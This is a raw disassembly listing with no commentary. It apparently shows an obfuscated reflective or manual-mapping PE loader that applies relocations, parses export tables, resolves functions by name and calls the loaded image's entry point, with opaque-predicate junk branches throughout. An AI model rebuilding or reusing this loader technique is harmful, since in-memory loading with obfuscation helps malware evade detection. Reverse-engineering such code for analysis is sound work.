mov edi, edx
shr edi, 0xc
mov esi, edx
and esi, 0xfff
cmp edx, 0xa000
jae 0x18000223e
cmp edi, 3
jne 0x1800022a0
cmp ecx, 0xa
jl 0x18000220b
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1800022cb
mov eax, dword [r15]
lea rdx, [rbx + rsi*4]
add dword [rdx + rax*4], r14d
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x1800022a0
lea esi, [rax - 1]
imul esi, eax
and esi, 1
je 0x1800022a0
mov eax, dword [r15]
add dword [rdx + rax*4], r14d
mov eax, dword [r15]
jmp 0x180002212
cmp edi, 0xa
jne 0x1800022a0
mov edx, esi
cmp ecx, 0xa
jl 0x180002279
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002279
lea rdi, [rdx + rbx]
jmp 0x180002272
add r11, 1
cmp ecx, 0xa
jl 0x1800021ca
test edi, edi
je 0x1800021ca
jmp 0x1800022c7
mov eax, dword [r15]
add qword [rdi + rax], r14
mov eax, dword [r15]
lea rdi, [rdx + rbx]
add qword [rax + rdi], r14
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
cmp ecx, 0xa
jl 0x1800022a0
lea esi, [rax - 1]
imul esi, eax
and esi, 1
jne 0x180002272
lea edi, [rax - 1]
imul edi, eax
and edi, 1
cmp ecx, 0xa
jl 0x18000225b
test edi, edi
je 0x18000225b
jmp 0x1800022c9
cmp ecx, 0xa
jl 0x180002166
test edi, edi
je 0x180002166
jmp 0x1800022c5
jmp 0x1800022c7
jmp 0x1800022c9
jmp 0x1800022cb
test r11b, 1
je 0x1800022e5
cmp ecx, 0xa
jl 0x1800022e7
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800022e7
jmp 0x1800022e3
jmp 0x1800022e5
lea rax, [rbx + 2]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x90]
add rax, rbx
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r14d, dword [rax + 0xc]
test r14, r14
je 0x18000262e
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800026b0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002343
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002628
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x180002372
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x18000262a
add r14, rbx
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov eax, dword [rdi]
add rax, r9
xor esi, esi
mov rcx, qword [rbp - 0x28]
movzx edx, byte [rcx + rsi + 2]
movzx ecx, byte [rax + rsi]
test dl, dl
je 0x1800023a8
add rsi, 1
cmp dl, cl
je 0x18000238f
cmp dl, cl
je 0x1800023b6
add rdi, 4
add r10, 2
jmp 0x180002388
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
call r9
add rsp, 0x20
mov r14, rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800023f4
test edx, edx
jne 0x18000262c
cmp ecx, 0xa
jl 0x180002401
test edx, edx
jne 0x180002626
mov rdx, qword [rbp - 8]
mov r12d, dword [rdx]
mov r13d, dword [rdx + 0x10]
add r13, rbx
add r12, rbx
mov rdx, qword [r12]
test rdx, rdx
je 0x1800025fc
mov rax, qword [rbp - 0x10]
add rax, rdx
test rdx, rdx
movzx r15d, dx
cmovns r15, rax
jmp 0x180002453
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r15
call r9
add rsp, 0x20
mov qword [r13], rax
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800026b0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x180002485
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000261e
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x1800024b4
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002620
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov esi, dword [rdi]
add rsi, r9
xor eax, eax
mov rcx, qword [rbp - 0x20]
movzx ecx, byte [rcx + rax + 1]
movzx edx, byte [rsi + rax]
test cl, cl
je 0x1800024e7
add rax, 1
cmp cl, dl
je 0x1800024ce
cmp cl, dl
je 0x1800024f5
add rdi, 4
add r10, 2
jmp 0x1800024c7
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, r15
call r9
add rsp, 0x20
mov qword [r13], rax
mov eax, dword [0x180020a70]
mov ecx, dword [0x180020a6c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x1800025e1
test edx, edx
je 0x1800025e1
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.1800026b0
add rsp, 0x20
mov r9, rax
cmp dword [0x180020a84], 0xa
jl 0x18000256d
mov eax, dword [0x180020a88]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002622
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rcx + 0x1c]
cmp dword [0x180020a8c], 0xa
jl 0x18000259c
mov eax, dword [0x180020a90]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180002624
add r8, r9
mov edi, dword [r9 + rcx + 0x20]
mov r10d, dword [r9 + rcx + 0x24]
add rdi, r9
add r10, r9
mov esi, dword [rdi]
add rsi, r9
xor eax, eax
mov rcx, qword [rbp - 0x20]
movzx ecx, byte [rcx + rax + 1]
movzx edx, byte [rsi + rax]
test cl, cl
je 0x1800025cf
add rax, 1
cmp cl, dl
je 0x1800025b6
cmp cl, dl
je 0x180002433
add rdi, 4
add r10, 2
jmp 0x1800025af
add r12, 8
add r13, 8
cmp ecx, 0xa
jl 0x180002412
test edx, edx
je 0x180002412
jmp 0x180002626
add qword [rbp - 8], 0x14
cmp ecx, 0xa
jl 0x180002300
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002300
jmp 0x1800022e3
jmp 0x18000261e
jmp 0x180002620
jmp 0x180002622
jmp 0x180002624
jmp 0x180002626
jmp 0x180002628
jmp 0x18000262a
jmp 0x18000262c
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x28]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000269a
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000269a
mov rsi, qword [rbp - 0x18]
mov eax, dword [rsi + 0x28]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
mov eax, dword [rsi + 0x28]
add rax, rbx
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x18000269a
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180002660
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret